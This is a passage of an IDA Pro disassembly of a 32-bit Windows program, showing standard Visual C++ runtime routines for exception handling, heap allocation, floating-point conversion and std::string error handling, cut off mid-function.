; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD	"+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType	const *,_s_ThrowInfo const *). PRESS KEYPAD "+"	TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS	KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord	*,EHRegistrationNode *,_CONTEXT	*,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode	*,uchar). PRESS	KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong).	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: .rdata:004278E0o
		push	dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS *
		call	?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z	; ExFilterRethrow(_EXCEPTION_POINTERS *)
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: .rdata:004278E4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	__local_unwind2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp


; =============== S U B	R O U T	I N E =======================================



sub_42224A	proc near		; DATA XREF: .rdata:004278D8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
sub_42224A	endp ; sp-analysis failed

; [00000046 BYTES: COLLAPSED FUNCTION sub_422252. PRESS	KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType	const *). PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C
; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C
; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND]
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_12. PRESS	KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION sub_42255C. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4225B2	proc near		; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo	const *,int,int,uint *,uint *)+23p
					; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset unknown_libname_14 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CFA4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: .rdata:00427930o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: .rdata:00427934o
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: .rdata:00427928o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: __onexit+7p __onexit+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFE8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	___sbh_find_block
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFE4
		call	ds:dword_427058	; RtlSizeHeap


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp

; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+"	TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+"	TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD	"+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_15:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO	EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+"	TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit.	PRESS KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO	EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD	"+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf.	PRESS KEYPAD "+" TO EXPAND]
; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+"	TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+"	TO EXPAND]
; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl.	PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: __umatherr+52p
		xor	eax, eax
		retn
sub_42401D	endp

; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD	"+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD	"+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+"	TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS	KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __IncMan.	PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS	KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD	"+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan.	PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D358
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	__ld12cvt
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D370
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	__ld12cvt
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: __fassign+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	___strgtold12
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: __fassign+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	___strgtold12
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp

; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [00000064 BYTES: COLLAPSED FUNCTION __fltout.	PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	2
		call	__amsg_exit
		pop	ecx
		retn
; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS	*). PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424752	proc near		; DATA XREF: .data:00429028o
		push	offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		call	ds:dword_42701C	; SetUnhandledExceptionFilter
		mov	dword_4DBB80, eax
		retn
sub_424752	endp


; =============== S U B	R O U T	I N E =======================================



sub_424763	proc near		; DATA XREF: .data:00429040o
		push	dword_4DBB80
		call	ds:dword_42701C	; SetUnhandledExceptionFilter
		retn
sub_424763	endp


; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,uchar,int,EHRegistrationNode *)+6Bp
					; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_427018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: BuildCatchObject(EHExceptionRecord	*,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+73p
					; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_4271C8	; IsBadWritePtr
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp

; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_42255C. PRESS KEYPAD	"+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION ___tzset.	PRESS KEYPAD "+" TO EXPAND]
; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+"	TO EXPAND]
; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate.	PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_424E01(size_t	Size,int)

sub_424E01	proc near		; CODE XREF: ___initstdio+22p
					; ___initstdio+3Bp

Size		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+Size]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+Size], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+Size]
		cmp	eax, dword_4DCFE0
		ja	short loc_424E6C
		push	eax
		call	___sbh_alloc_block
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9D4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFE4
		call	ds:dword_427144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9DC, 0
		jz	short loc_424EA5
		push	esi
		call	__callnewh
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+Size]	; Size


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD	"+" TO EXPAND]
; [00000146 BYTES: COLLAPSED FUNCTION __chsize.	PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+"	TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS	KEYPAD "+" TO EXPAND]
; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_425692	dd offset loc_42525B	; DATA XREF: ___strgtold12+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497
; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO	EXPAND]
; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS	KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+"	TO EXPAND]
; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS	KEYPAD "+" TO EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+"	TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO	EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ.	PRESS KEYPAD "+" TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO	EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt.	PRESS KEYPAD "+" TO EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO	EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv.	PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION __mbschr.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_426490(char	*Src,int)

sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

Src		= dword	ptr  4

		push	esi
		push	[esp+4+Src]	; Str
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	_strlen
		pop	ecx
		push	eax		; Size
		push	[esp+8+Src]	; Src
		mov	ecx, esi
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char	const *,uint)
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: sub_4264E2+3p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp

; [0000000D BYTES: COLLAPSED FUNCTION sub_4264D5. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4264E2	proc near		; DATA XREF: .rdata:off_427D04o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	[esp+4+arg_0], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: sub_4264E2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4264E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4264FE	proc near		; CODE XREF: sub_426573+29p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_426E32
		call	__EH_prolog
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_10]
		mov	esi, ecx
		push	eax
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], offset dword_427D20
		call	??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
		push	[ebp+arg_0]
		and	[ebp+var_4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: .rdata:off_427D14o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: .rdata:0042808Co
		mov	dword ptr [ecx], offset	off_427D14
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426573	proc near		; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p
					; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Ep

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_D		= dword	ptr -0Dh
var_4		= dword	ptr -4

		mov	eax, offset loc_426E44
		call	__EH_prolog
		sub	esp, 30h
		lea	eax, [ebp+var_D]
		push	eax		; int
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_20]
		call	sub_426490
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_3C]
		call	sub_4264FE
		push	offset dword_428088
		lea	eax, [ebp+var_3C]
		push	eax
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265D0	proc near		; CODE XREF: sub_42669A+29p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_426E56
		call	__EH_prolog
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_10]
		mov	esi, ecx
		push	eax
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], offset dword_427D20
		call	??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
		push	[ebp+arg_0]
		and	[ebp+var_4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_426E68
		call	__EH_prolog
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		push	edi
		mov	[ebp+var_10], esi
		call	??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
		and	[ebp+var_4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp+var_C]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: .rdata:off_427D40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


